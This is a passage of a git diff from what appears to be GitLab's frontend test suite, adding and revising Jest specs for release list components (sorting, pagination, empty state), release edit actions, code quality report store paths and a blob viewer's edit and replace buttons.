- "startCursor": "eyJpZCI6IjEifQ",
+ "startCursor": "eyJyZWxlYXNlZF9hdCI6IjIwMTktMDEtMTAgMDA6MDA6MDAuMDAwMDAwMDAwIFVUQyIsImlkIjoiMiJ9",
},
}
`;
diff --git a/spec/frontend/releases/components/app_index_apollo_client_spec.js b/spec/frontend/releases/components/app_index_apollo_client_spec.js
new file mode 100644
index 00000000000..002d8939058
--- /dev/null
+++ b/spec/frontend/releases/components/app_index_apollo_client_spec.js
@@ -0,0 +1,394 @@
+import { cloneDeep } from 'lodash';
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import createFlash from '~/flash';
+import { historyPushState } from '~/lib/utils/common_utils';
+import ReleasesIndexApolloClientApp from '~/releases/components/app_index_apollo_client.vue';
+import ReleaseBlock from '~/releases/components/release_block.vue';
+import ReleaseSkeletonLoader from '~/releases/components/release_skeleton_loader.vue';
+import ReleasesEmptyState from '~/releases/components/releases_empty_state.vue';
+import ReleasesPaginationApolloClient from '~/releases/components/releases_pagination_apollo_client.vue';
+import ReleasesSortApolloClient from '~/releases/components/releases_sort_apollo_client.vue';
+import { PAGE_SIZE, CREATED_ASC, DEFAULT_SORT } from '~/releases/constants';
+import allReleasesQuery from '~/releases/graphql/queries/all_releases.query.graphql';
+
+Vue.use(VueApollo);
+
+jest.mock('~/flash');
+
+let mockQueryParams;
+jest.mock('~/lib/utils/common_utils', () => ({
+ ...jest.requireActual('~/lib/utils/common_utils'),
+ getParameterByName: jest
+ .fn()
+ .mockImplementation((parameterName) => mockQueryParams[parameterName]),
+ historyPushState: jest.fn(),
+}));
+
+describe('app_index_apollo_client.vue', () => {
+ const originalAllReleasesQueryResponse = getJSONFixture(
+ 'graphql/releases/graphql/queries/all_releases.query.graphql.json',
+ );
+ const projectPath = 'project/path';
+ const newReleasePath = 'path/to/new/release/page';
+ const before = 'beforeCursor';
+ const after = 'afterCursor';
+
+ let wrapper;
+ let allReleases;
+ let singleRelease;
+ let noReleases;
+ let queryMock;
+
+ const createComponent = ({
+ singleResponse = Promise.resolve(singleRelease),
+ fullResponse = Promise.resolve(allReleases),
+ } = {}) => {
+ const apolloProvider = createMockApollo([
+ [
+ allReleasesQuery,
+ queryMock.mockImplementation((vars) => {
+ return vars.first === 1 ? singleResponse : fullResponse;
+ }),
+ ],
+ ]);
+
+ wrapper = shallowMountExtended(ReleasesIndexApolloClientApp, {
+ apolloProvider,
+ provide: {
+ newReleasePath,
+ projectPath,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ mockQueryParams = {};
+
+ allReleases = cloneDeep(originalAllReleasesQueryResponse);
+
+ singleRelease = cloneDeep(originalAllReleasesQueryResponse);
+ singleRelease.data.project.releases.nodes.splice(
+ 1,
+ singleRelease.data.project.releases.nodes.length,
+ );
+
+ noReleases = cloneDeep(originalAllReleasesQueryResponse);
+ noReleases.data.project.releases.nodes = [];
+
+ queryMock = jest.fn();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ // Finders
+ const findLoadingIndicator = () => wrapper.findComponent(ReleaseSkeletonLoader);
+ const findEmptyState = () => wrapper.findComponent(ReleasesEmptyState);
+ const findNewReleaseButton = () =>
+ wrapper.findByText(ReleasesIndexApolloClientApp.i18n.newRelease);
+ const findAllReleaseBlocks = () => wrapper.findAllComponents(ReleaseBlock);
+ const findPagination = () => wrapper.findComponent(ReleasesPaginationApolloClient);
+ const findSort = () => wrapper.findComponent(ReleasesSortApolloClient);
+
+ // Tests
+ describe('component states', () => {
+ // These need to be defined as functions, since `singleRelease` and
+ // `allReleases` are generated in a `beforeEach`, and therefore
+ // aren't available at test definition time.
+ const getInProgressResponse = () => new Promise(() => {});
+ const getErrorResponse = () => Promise.reject(new Error('Oops!'));
+ const getSingleRequestLoadedResponse = () => Promise.resolve(singleRelease);
+ const getFullRequestLoadedResponse = () => Promise.resolve(allReleases);
+ const getLoadedEmptyResponse = () => Promise.resolve(noReleases);
+
+ const toDescription = (bool) => (bool ? 'does' : 'does not');
+
+ describe.each`
+ description | singleResponseFn | fullResponseFn | loadingIndicator | emptyState | flashMessage | releaseCount | pagination
+ ${'both requests loading'} | ${getInProgressResponse} | ${getInProgressResponse} | ${true} | ${false} | ${false} | ${0} | ${false}
+ ${'both requests failed'} | ${getErrorResponse} | ${getErrorResponse} | ${false} | ${false} | ${true} | ${0} | ${false}
+ ${'both requests loaded'} | ${getSingleRequestLoadedResponse} | ${getFullRequestLoadedResponse} | ${false} | ${false} | ${false} | ${2} | ${true}
+ ${'both requests loaded with no results'} | ${getLoadedEmptyResponse} | ${getLoadedEmptyResponse} | ${false} | ${true} | ${false} | ${0} | ${false}
+ ${'single request loading, full request loaded'} | ${getInProgressResponse} | ${getFullRequestLoadedResponse} | ${false} | ${false} | ${false} | ${2} | ${true}
+ ${'single request loading, full request failed'} | ${getInProgressResponse} | ${getErrorResponse} | ${true} | ${false} | ${true} | ${0} | ${false}
+ ${'single request loaded, full request loading'} | ${getSingleRequestLoadedResponse} | ${getInProgressResponse} | ${true} | ${false} | ${false} | ${1} | ${false}
+ ${'single request loaded, full request failed'} | ${getSingleRequestLoadedResponse} | ${getErrorResponse} | ${false} | ${false} | ${true} | ${1} | ${false}
+ ${'single request failed, full request loading'} | ${getErrorResponse} | ${getInProgressResponse} | ${true} | ${false} | ${false} | ${0} | ${false}
+ ${'single request failed, full request loaded'} | ${getErrorResponse} | ${getFullRequestLoadedResponse} | ${false} | ${false} | ${false} | ${2} | ${true}
+ ${'single request loaded with no results, full request loading'} | ${getLoadedEmptyResponse} | ${getInProgressResponse} | ${true} | ${false} | ${false} | ${0} | ${false}
+ ${'single request loading, full request loadied with no results'} | ${getInProgressResponse} | ${getLoadedEmptyResponse} | ${false} | ${true} | ${false} | ${0} | ${false}
+ `(
+ '$description',
+ ({
+ singleResponseFn,
+ fullResponseFn,
+ loadingIndicator,
+ emptyState,
+ flashMessage,
+ releaseCount,
+ pagination,
+ }) => {
+ beforeEach(() => {
+ createComponent({
+ singleResponse: singleResponseFn(),
+ fullResponse: fullResponseFn(),
+ });
+ });
+
+ it(`${toDescription(loadingIndicator)} render a loading indicator`, () => {
+ expect(findLoadingIndicator().exists()).toBe(loadingIndicator);
+ });
+
+ it(`${toDescription(emptyState)} render an empty state`, () => {
+ expect(findEmptyState().exists()).toBe(emptyState);
+ });
+
+ it(`${toDescription(flashMessage)} show a flash message`, () => {
+ if (flashMessage) {
+ expect(createFlash).toHaveBeenCalledWith({
+ message: ReleasesIndexApolloClientApp.i18n.errorMessage,
+ captureError: true,
+ error: expect.any(Error),
+ });
+ } else {
+ expect(createFlash).not.toHaveBeenCalled();
+ }
+ });
+
+ it(`renders ${releaseCount} release(s)`, () => {
+ expect(findAllReleaseBlocks()).toHaveLength(releaseCount);
+ });
+
+ it(`${toDescription(pagination)} render the pagination controls`, () => {
+ expect(findPagination().exists()).toBe(pagination);
+ });
+
+ it('does render the "New release" button', () => {
+ expect(findNewReleaseButton().exists()).toBe(true);
+ });
+
+ it('does render the sort controls', () => {
+ expect(findSort().exists()).toBe(true);
+ });
+ },
+ );
+ });
+
+ describe('URL parameters', () => {
+ describe('when the URL contains no query parameters', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('makes a request with the correct GraphQL query parameters', () => {
+ expect(queryMock).toHaveBeenCalledTimes(2);
+
+ expect(queryMock).toHaveBeenCalledWith({
+ first: 1,
+ fullPath: projectPath,
+ sort: DEFAULT_SORT,
+ });
+
+ expect(queryMock).toHaveBeenCalledWith({
+ first: PAGE_SIZE,
+ fullPath: projectPath,
+ sort: DEFAULT_SORT,
+ });
+ });
+ });
+
+ describe('when the URL contains a "before" query parameter', () => {
+ beforeEach(() => {
+ mockQueryParams = { before };
+ createComponent();
+ });
+
+ it('makes a request with the correct GraphQL query parameters', () => {
+ expect(queryMock).toHaveBeenCalledTimes(1);
+
+ expect(queryMock).toHaveBeenCalledWith({
+ before,
+ last: PAGE_SIZE,
+ fullPath: projectPath,
+ sort: DEFAULT_SORT,
+ });
+ });
+ });
+
+ describe('when the URL contains an "after" query parameter', () => {
+ beforeEach(() => {
+ mockQueryParams = { after };
+ createComponent();
+ });
+
+ it('makes a request with the correct GraphQL query parameters', () => {
+ expect(queryMock).toHaveBeenCalledTimes(2);
+
+ expect(queryMock).toHaveBeenCalledWith({
+ after,
+ first: 1,
+ fullPath: projectPath,
+ sort: DEFAULT_SORT,
+ });
+
+ expect(queryMock).toHaveBeenCalledWith({
+ after,
+ first: PAGE_SIZE,
+ fullPath: projectPath,
+ sort: DEFAULT_SORT,
+ });
+ });
+ });
+
+ describe('when the URL contains both "before" and "after" query parameters', () => {
+ beforeEach(() => {
+ mockQueryParams = { before, after };
+ createComponent();
+ });
+
+ it('ignores the "before" parameter and behaves as if only the "after" parameter was provided', () => {
+ expect(queryMock).toHaveBeenCalledTimes(2);
+
+ expect(queryMock).toHaveBeenCalledWith({
+ after,
+ first: 1,
+ fullPath: projectPath,
+ sort: DEFAULT_SORT,
+ });
+
+ expect(queryMock).toHaveBeenCalledWith({
+ after,
+ first: PAGE_SIZE,
+ fullPath: projectPath,
+ sort: DEFAULT_SORT,
+ });
+ });
+ });
+ });
+
+ describe('New release button', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders the new release button with the correct href', () => {
+ expect(findNewReleaseButton().attributes().href).toBe(newReleasePath);
+ });
+ });
+
+ describe('pagination', () => {
+ beforeEach(() => {
+ mockQueryParams = { before };
+ createComponent();
+ });
+
+ it('requeries the GraphQL endpoint when a pagination button is clicked', async () => {
+ expect(queryMock.mock.calls).toEqual([[expect.objectContaining({ before })]]);
+
+ mockQueryParams = { after };
+ findPagination().vm.$emit('next', after);
+
+ await wrapper.vm.$nextTick();
+
+ expect(queryMock.mock.calls).toEqual([
+ [expect.objectContaining({ before })],
+ [expect.objectContaining({ after })],
+ [expect.objectContaining({ after })],
+ ]);
+ });
+ });
+
+ describe('sorting', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it(`sorts by ${DEFAULT_SORT} by default`, () => {
+ expect(queryMock.mock.calls).toEqual([
+ [expect.objectContaining({ sort: DEFAULT_SORT })],
+ [expect.objectContaining({ sort: DEFAULT_SORT })],
+ ]);
+ });
+
+ it('requeries the GraphQL endpoint and updates the URL when the sort is changed', async () => {
+ findSort().vm.$emit('input', CREATED_ASC);
+
+ await wrapper.vm.$nextTick();
+
+ expect(queryMock.mock.calls).toEqual([
+ [expect.objectContaining({ sort: DEFAULT_SORT })],
+ [expect.objectContaining({ sort: DEFAULT_SORT })],
+ [expect.objectContaining({ sort: CREATED_ASC })],
+ [expect.objectContaining({ sort: CREATED_ASC })],
+ ]);
+
+ // URL manipulation is tested in more detail in the `describe` block below
+ expect(historyPushState).toHaveBeenCalled();
+ });
+
+ it('does not requery the GraphQL endpoint or update the URL if the sort is updated to the same value', async () => {
+ findSort().vm.$emit('input', DEFAULT_SORT);
+
+ await wrapper.vm.$nextTick();
+
+ expect(queryMock.mock.calls).toEqual([
+ [expect.objectContaining({ sort: DEFAULT_SORT })],
+ [expect.objectContaining({ sort: DEFAULT_SORT })],
+ ]);
+
+ expect(historyPushState).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('sorting + pagination interaction', () => {
+ const nonPaginationQueryParam = 'nonPaginationQueryParam';
+
+ beforeEach(() => {
+ historyPushState.mockImplementation((newUrl) => {
+ mockQueryParams = Object.fromEntries(new URL(newUrl).searchParams);
+ });
+ });
+
+ describe.each`
+ queryParamsBefore | paramName | paramInitialValue
+ ${{ before, nonPaginationQueryParam }} | ${'before'} | ${before}
+ ${{ after, nonPaginationQueryParam }} | ${'after'} | ${after}
+ `(
+ 'when the URL contains a "$paramName" pagination cursor',
+ ({ queryParamsBefore, paramName, paramInitialValue }) => {
+ beforeEach(async () => {
+ mockQueryParams = queryParamsBefore;
+ createComponent();
+
+ findSort().vm.$emit('input', CREATED_ASC);
+
+ await wrapper.vm.$nextTick();
+ });
+
+ it(`resets the page's "${paramName}" pagination cursor when the sort is changed`, () => {
+ const firstRequestVariables = queryMock.mock.calls[0][0];
+ // Might be request #2 or #3, depending on the pagination direction
+ const mostRecentRequestVariables =
+ queryMock.mock.calls[queryMock.mock.calls.length - 1][0];
+
+ expect(firstRequestVariables[paramName]).toBe(paramInitialValue);
+ expect(mostRecentRequestVariables[paramName]).toBeUndefined();
+ });
+
+ it(`updates the URL to not include the "${paramName}" URL query parameter`, () => {
+ expect(historyPushState).toHaveBeenCalledTimes(1);
+
+ const updatedUrlQueryParams = Object.fromEntries(
+ new URL(historyPushState.mock.calls[0][0]).searchParams,
+ );
+
+ expect(updatedUrlQueryParams[paramName]).toBeUndefined();
+ });
+ },
+ );
+ });
+});
diff --git a/spec/frontend/releases/components/releases_empty_state_spec.js b/spec/frontend/releases/components/releases_empty_state_spec.js
new file mode 100644
index 00000000000..495e6d863f7
--- /dev/null
+++ b/spec/frontend/releases/components/releases_empty_state_spec.js
@@ -0,0 +1,56 @@
+import { GlEmptyState } from '@gitlab/ui';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import ReleasesEmptyState from '~/releases/components/releases_empty_state.vue';
+
+describe('releases_empty_state.vue', () => {
+ const documentationPath = 'path/to/releases/documentation';
+ const illustrationPath = 'path/to/releases/empty/state/illustration';
+
+ let wrapper;
+
+ const createComponent = () => {
+ wrapper = shallowMountExtended(ReleasesEmptyState, {
+ provide: {
+ documentationPath,
+ illustrationPath,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders a GlEmptyState and provides it with the correct props', () => {
+ const emptyStateProps = wrapper.findComponent(GlEmptyState).props();
+
+ expect(emptyStateProps).toEqual(
+ expect.objectContaining({
+ title: ReleasesEmptyState.i18n.emptyStateTitle,
+ svgPath: illustrationPath,
+ }),
+ );
+ });
+
+ it('renders the empty state text', () => {
+ expect(wrapper.findByText(ReleasesEmptyState.i18n.emptyStateText).exists()).toBe(true);
+ });
+
+ it('renders a link to the documentation', () => {
+ const documentationLink = wrapper.findByText(ReleasesEmptyState.i18n.moreInformation);
+
+ expect(documentationLink.exists()).toBe(true);
+
+ expect(documentationLink.attributes()).toEqual(
+ expect.objectContaining({
+ 'aria-label': ReleasesEmptyState.i18n.releasesDocumentation,
+ href: documentationPath,
+ target: '_blank',
+ }),
+ );
+ });
+});
diff --git a/spec/frontend/releases/components/releases_pagination_apollo_client_spec.js b/spec/frontend/releases/components/releases_pagination_apollo_client_spec.js
new file mode 100644
index 00000000000..a538afd5d38
--- /dev/null
+++ b/spec/frontend/releases/components/releases_pagination_apollo_client_spec.js
@@ -0,0 +1,126 @@
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+import { historyPushState } from '~/lib/utils/common_utils';
+import ReleasesPaginationApolloClient from '~/releases/components/releases_pagination_apollo_client.vue';
+
+jest.mock('~/lib/utils/common_utils', () => ({
+ ...jest.requireActual('~/lib/utils/common_utils'),
+ historyPushState: jest.fn(),
+}));
+
+describe('releases_pagination_apollo_client.vue', () => {
+ const startCursor = 'startCursor';
+ const endCursor = 'endCursor';
+ let wrapper;
+ let onPrev;
+ let onNext;
+
+ const createComponent = (pageInfo) => {
+ onPrev = jest.fn();
+ onNext = jest.fn();
+
+ wrapper = mountExtended(ReleasesPaginationApolloClient, {
+ propsData: {
+ pageInfo,
+ },
+ listeners: {
+ prev: onPrev,
+ next: onNext,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const singlePageInfo = {
+ hasPreviousPage: false,
+ hasNextPage: false,
+ startCursor,
+ endCursor,
+ };
+
+ const onlyNextPageInfo = {
+ hasPreviousPage: false,
+ hasNextPage: true,
+ startCursor,
+ endCursor,
+ };
+
+ const onlyPrevPageInfo = {
+ hasPreviousPage: true,
+ hasNextPage: false,
+ startCursor,
+ endCursor,
+ };
+
+ const prevAndNextPageInfo = {
+ hasPreviousPage: true,
+ hasNextPage: true,
+ startCursor,
+ endCursor,
+ };
+
+ const findPrevButton = () => wrapper.findByTestId('prevButton');
+ const findNextButton = () => wrapper.findByTestId('nextButton');
+
+ describe.each`
+ description | pageInfo | prevEnabled | nextEnabled
+ ${'when there is only one page of results'} | ${singlePageInfo} | ${false} | ${false}
+ ${'when there is a next page, but not a previous page'} | ${onlyNextPageInfo} | ${false} | ${true}
+ ${'when there is a previous page, but not a next page'} | ${onlyPrevPageInfo} | ${true} | ${false}
+ ${'when there is both a previous and next page'} | ${prevAndNextPageInfo} | ${true} | ${true}
+ `('component states', ({ description, pageInfo, prevEnabled, nextEnabled }) => {
+ describe(description, () => {
+ beforeEach(() => {
+ createComponent(pageInfo);
+ });
+
+ it(`renders the "Prev" button as ${prevEnabled ? 'enabled' : 'disabled'}`, () => {
+ expect(findPrevButton().attributes().disabled).toBe(prevEnabled ? undefined : 'disabled');
+ });
+
+ it(`renders the "Next" button as ${nextEnabled ? 'enabled' : 'disabled'}`, () => {
+ expect(findNextButton().attributes().disabled).toBe(nextEnabled ? undefined : 'disabled');
+ });
+ });
+ });
+
+ describe('button behavior', () => {
+ beforeEach(() => {
+ createComponent(prevAndNextPageInfo);
+ });
+
+ describe('next button behavior', () => {
+ beforeEach(() => {
+ findNextButton().trigger('click');
+ });
+
+ it('emits an "next" event with the "after" cursor', () => {
+ expect(onNext.mock.calls).toEqual([[endCursor]]);
+ });
+
+ it('calls historyPushState with the new URL', () => {
+ expect(historyPushState.mock.calls).toEqual([
+ [expect.stringContaining(`?after=${endCursor}`)],
+ ]);
+ });
+ });
+
+ describe('prev button behavior', () => {
+ beforeEach(() => {
+ findPrevButton().trigger('click');
+ });
+
+ it('emits an "prev" event with the "before" cursor', () => {
+ expect(onPrev.mock.calls).toEqual([[startCursor]]);
+ });
+
+ it('calls historyPushState with the new URL', () => {
+ expect(historyPushState.mock.calls).toEqual([
+ [expect.stringContaining(`?before=${startCursor}`)],
+ ]);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/releases/components/releases_sort_apollo_client_spec.js b/spec/frontend/releases/components/releases_sort_apollo_client_spec.js
new file mode 100644
index 00000000000..d93a932af01
--- /dev/null
+++ b/spec/frontend/releases/components/releases_sort_apollo_client_spec.js
@@ -0,0 +1,103 @@
+import { GlSorting, GlSortingItem } from '@gitlab/ui';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import ReleasesSortApolloClient from '~/releases/components/releases_sort_apollo_client.vue';
+import { RELEASED_AT_ASC, RELEASED_AT_DESC, CREATED_ASC, CREATED_DESC } from '~/releases/constants';
+
+describe('releases_sort_apollo_client.vue', () => {
+ let wrapper;
+
+ const createComponent = (valueProp = RELEASED_AT_ASC) => {
+ wrapper = shallowMountExtended(ReleasesSortApolloClient, {
+ propsData: {
+ value: valueProp,
+ },
+ stubs: {
+ GlSortingItem,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const findSorting = () => wrapper.findComponent(GlSorting);
+ const findSortingItems = () => wrapper.findAllComponents(GlSortingItem);
+ const findReleasedDateItem = () =>
+ findSortingItems().wrappers.find((item) => item.text() === 'Released date');
+ const findCreatedDateItem = () =>
+ findSortingItems().wrappers.find((item) => item.text() === 'Created date');
+ const getSortingItemsInfo = () =>
+ findSortingItems().wrappers.map((item) => ({
+ label: item.text(),
+ active: item.attributes().active === 'true',
+ }));
+
+ describe.each`
+ valueProp | text | isAscending | items
+ ${RELEASED_AT_ASC} | ${'Released date'} | ${true} | ${[{ label: 'Released date', active: true }, { label: 'Created date', active: false }]}
+ ${RELEASED_AT_DESC} | ${'Released date'} | ${false} | ${[{ label: 'Released date', active: true }, { label: 'Created date', active: false }]}
+ ${CREATED_ASC} | ${'Created date'} | ${true} | ${[{ label: 'Released date', active: false }, { label: 'Created date', active: true }]}
+ ${CREATED_DESC} | ${'Created date'} | ${false} | ${[{ label: 'Released date', active: false }, { label: 'Created date', active: true }]}
+ `('component states', ({ valueProp, text, isAscending, items }) => {
+ beforeEach(() => {
+ createComponent(valueProp);
+ });
+
+ it(`when the sort is ${valueProp}, provides the GlSorting with the props text="${text}" and isAscending=${isAscending}`, () => {
+ expect(findSorting().props()).toEqual(
+ expect.objectContaining({
+ text,
+ isAscending,
+ }),
+ );
+ });
+
+ it(`when the sort is ${valueProp}, renders the expected dropdown items`, () => {
+ expect(getSortingItemsInfo()).toEqual(items);
+ });
+ });
+
+ const clickReleasedDateItem = () => findReleasedDateItem().vm.$emit('click');
+ const clickCreatedDateItem = () => findCreatedDateItem().vm.$emit('click');
+ const clickSortDirectionButton = () => findSorting().vm.$emit('sortDirectionChange');
+
+ const releasedAtDropdownItemDescription = 'released at dropdown item';
+ const createdAtDropdownItemDescription = 'created at dropdown item';
+ const sortDirectionButtonDescription = 'sort direction button';
+
+ describe.each`
+ initialValueProp | itemClickFn | itemToClickDescription | emittedEvent
+ ${RELEASED_AT_ASC} | ${clickReleasedDateItem} | ${releasedAtDropdownItemDescription} | ${undefined}
+ ${RELEASED_AT_ASC} | ${clickCreatedDateItem} | ${createdAtDropdownItemDescription} | ${CREATED_ASC}
+ ${RELEASED_AT_ASC} | ${clickSortDirectionButton} | ${sortDirectionButtonDescription} | ${RELEASED_AT_DESC}
+ ${RELEASED_AT_DESC} | ${clickReleasedDateItem} | ${releasedAtDropdownItemDescription} | ${undefined}
+ ${RELEASED_AT_DESC} | ${clickCreatedDateItem} | ${createdAtDropdownItemDescription} | ${CREATED_DESC}
+ ${RELEASED_AT_DESC} | ${clickSortDirectionButton} | ${sortDirectionButtonDescription} | ${RELEASED_AT_ASC}
+ ${CREATED_ASC} | ${clickReleasedDateItem} | ${releasedAtDropdownItemDescription} | ${RELEASED_AT_ASC}
+ ${CREATED_ASC} | ${clickCreatedDateItem} | ${createdAtDropdownItemDescription} | ${undefined}
+ ${CREATED_ASC} | ${clickSortDirectionButton} | ${sortDirectionButtonDescription} | ${CREATED_DESC}
+ ${CREATED_DESC} | ${clickReleasedDateItem} | ${releasedAtDropdownItemDescription} | ${RELEASED_AT_DESC}
+ ${CREATED_DESC} | ${clickCreatedDateItem} | ${createdAtDropdownItemDescription} | ${undefined}
+ ${CREATED_DESC} | ${clickSortDirectionButton} | ${sortDirectionButtonDescription} | ${CREATED_ASC}
+ `('input event', ({ initialValueProp, itemClickFn, itemToClickDescription, emittedEvent }) => {
+ beforeEach(() => {
+ createComponent(initialValueProp);
+ itemClickFn();
+ });
+
+ it(`emits ${
+ emittedEvent || 'nothing'
+ } when value prop is ${initialValueProp} and the ${itemToClickDescription} is clicked`, () => {
+ expect(wrapper.emitted().input?.[0]?.[0]).toEqual(emittedEvent);
+ });
+ });
+
+ describe('prop validation', () => {
+ it('validates that the `value` prop is one of the expected sort strings', () => {
+ expect(() => {
+ createComponent('not a valid value');
+ }).toThrow('Invalid prop: custom validator check failed');
+ });
+ });
+});
diff --git a/spec/frontend/releases/stores/modules/detail/actions_spec.js b/spec/frontend/releases/stores/modules/detail/actions_spec.js
index 688ec4c0a50..6504a09df2f 100644
--- a/spec/frontend/releases/stores/modules/detail/actions_spec.js
+++ b/spec/frontend/releases/stores/modules/detail/actions_spec.js
@@ -1,7 +1,7 @@
import { cloneDeep } from 'lodash';
import { getJSONFixture } from 'helpers/fixtures';
import testAction from 'helpers/vuex_action_helper';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { redirectTo } from '~/lib/utils/url_utility';
import { ASSET_LINK_TYPE } from '~/releases/constants';
import createReleaseAssetLinkMutation from '~/releases/graphql/mutations/create_release_link.mutation.graphql';
@@ -151,9 +151,9 @@ describe('Release edit/new actions', () => {
it(`shows a flash message`, () => {
return actions.fetchRelease({ commit: jest.fn(), state, rootState: state }).then(() => {
expect(createFlash).toHaveBeenCalledTimes(1);
- expect(createFlash).toHaveBeenCalledWith(
- 'Something went wrong while getting the release details.',
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'Something went wrong while getting the release details.',
+ });
});
});
});
@@ -352,9 +352,9 @@ describe('Release edit/new actions', () => {
.createRelease({ commit: jest.fn(), dispatch: jest.fn(), state, getters: {} })
.then(() => {
expect(createFlash).toHaveBeenCalledTimes(1);
- expect(createFlash).toHaveBeenCalledWith(
- 'Something went wrong while creating a new release.',
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'Something went wrong while creating a new release.',
+ });
});
});
});
@@ -483,9 +483,9 @@ describe('Release edit/new actions', () => {
await actions.updateRelease({ commit, dispatch, state, getters });
expect(createFlash).toHaveBeenCalledTimes(1);
- expect(createFlash).toHaveBeenCalledWith(
- 'Something went wrong while saving the release details.',
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'Something went wrong while saving the release details.',
+ });
});
});
@@ -503,9 +503,9 @@ describe('Release edit/new actions', () => {
await actions.updateRelease({ commit, dispatch, state, getters });
expect(createFlash).toHaveBeenCalledTimes(1);
- expect(createFlash).toHaveBeenCalledWith(
- 'Something went wrong while saving the release details.',
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'Something went wrong while saving the release details.',
+ });
});
};
diff --git a/spec/frontend/reports/codequality_report/store/actions_spec.js b/spec/frontend/reports/codequality_report/store/actions_spec.js
index 1b83d071d17..9dda024bffd 100644
--- a/spec/frontend/reports/codequality_report/store/actions_spec.js
+++ b/spec/frontend/reports/codequality_report/store/actions_spec.js
@@ -20,6 +20,9 @@ describe('Codequality Reports actions', () => {
it('should commit SET_PATHS mutation', (done) => {
const paths = {
basePath: 'basePath',
+ headPath: 'headPath',
+ baseBlobPath: 'baseBlobPath',
+ headBlobPath: 'headBlobPath',
reportsPath: 'reportsPath',
helpPath: 'codequalityHelpPath',
};
diff --git a/spec/frontend/reports/codequality_report/store/mutations_spec.js b/spec/frontend/reports/codequality_report/store/mutations_spec.js
index 9d4c05afd36..8bc6bb26c2a 100644
--- a/spec/frontend/reports/codequality_report/store/mutations_spec.js
+++ b/spec/frontend/reports/codequality_report/store/mutations_spec.js
@@ -13,16 +13,25 @@ describe('Codequality Reports mutations', () => {
describe('SET_PATHS', () => {
it('sets paths to given values', () => {
const basePath = 'base.json';
+ const headPath = 'head.json';
+ const baseBlobPath = 'base/blob/path/';
+ const headBlobPath = 'head/blob/path/';
const reportsPath = 'reports.json';
const helpPath = 'help.html';
mutations.SET_PATHS(localState, {
basePath,
+ headPath,
+ baseBlobPath,
+ headBlobPath,
reportsPath,
helpPath,
});
expect(localState.basePath).toEqual(basePath);
+ expect(localState.headPath).toEqual(headPath);
+ expect(localState.baseBlobPath).toEqual(baseBlobPath);
+ expect(localState.headBlobPath).toEqual(headBlobPath);
expect(localState.reportsPath).toEqual(reportsPath);
expect(localState.helpPath).toEqual(helpPath);
});
diff --git a/spec/frontend/repository/components/blob_content_viewer_spec.js b/spec/frontend/repository/components/blob_content_viewer_spec.js
index f03df8cf2ac..495039b4ccb 100644
--- a/spec/frontend/repository/components/blob_content_viewer_spec.js
+++ b/spec/frontend/repository/components/blob_content_viewer_spec.js
@@ -5,6 +5,7 @@ import BlobContent from '~/blob/components/blob_content.vue';
import BlobHeader from '~/blob/components/blob_header.vue';
import BlobContentViewer from '~/repository/components/blob_content_viewer.vue';
import BlobHeaderEdit from '~/repository/components/blob_header_edit.vue';
+import BlobReplace from '~/repository/components/blob_replace.vue';
let wrapper;
const simpleMockData = {
@@ -75,10 +76,11 @@ const factory = createFactory(shallowMount);
const fullFactory = createFactory(mount);
describe('Blob content viewer component', () => {
- const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
- const findBlobHeader = () => wrapper.find(BlobHeader);
- const findBlobHeaderEdit = () => wrapper.find(BlobHeaderEdit);
- const findBlobContent = () => wrapper.find(BlobContent);
+ const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
+ const findBlobHeader = () => wrapper.findComponent(BlobHeader);
+ const findBlobHeaderEdit = () => wrapper.findComponent(BlobHeaderEdit);
+ const findBlobContent = () => wrapper.findComponent(BlobContent);
+ const findBlobReplace = () => wrapper.findComponent(BlobReplace);
afterEach(() => {
wrapper.destroy();
@@ -162,15 +164,23 @@ describe('Blob content viewer component', () => {
});
describe('BlobHeader action slot', () => {
- it('renders BlobHeaderEdit button in simple viewer', async () => {
+ const { ideEditPath, editBlobPath } = simpleMockData;
+
+ it('renders BlobHeaderEdit buttons in simple viewer', async () => {
fullFactory({
mockData: { blobInfo: simpleMockData },
stubs: {
BlobContent: true,
+ BlobReplace: true,
},
});
+
await nextTick();
- expect(findBlobHeaderEdit().props('editPath')).toEqual('some_file.js/edit');
+
+ expect(findBlobHeaderEdit().props()).toMatchObject({
+ editPath: editBlobPath,
+ webIdePath: ideEditPath,
+ });
});
it('renders BlobHeaderEdit button in rich viewer', async () => {
@@ -178,10 +188,55 @@ describe('Blob content viewer component', () => {
mockData: { blobInfo: richMockData },
stubs: {
BlobContent: true,
+ BlobReplace: true,
},
});
+
await nextTick();
- expect(findBlobHeaderEdit().props('editPath')).toEqual('some_file.js/edit');
+
+ expect(findBlobHeaderEdit().props()).toMatchObject({
+ editPath: editBlobPath,
+ webIdePath: ideEditPath,
+ });
+ });
+
+ describe('BlobReplace', () => {
+ const { name, path } = simpleMockData;
+
+ it('renders component', async () => {
+ window.gon.current_user_id = 1;
+
+ fullFactory({
+ mockData: { blobInfo: simpleMockData },
+ stubs: {
+ BlobContent: true,
+ BlobReplace: true,
+ },
+ });
+
+ await nextTick();
+
+ expect(findBlobReplace().props()).toMatchObject({
+ name,
+ path,
+ });
+ });
+
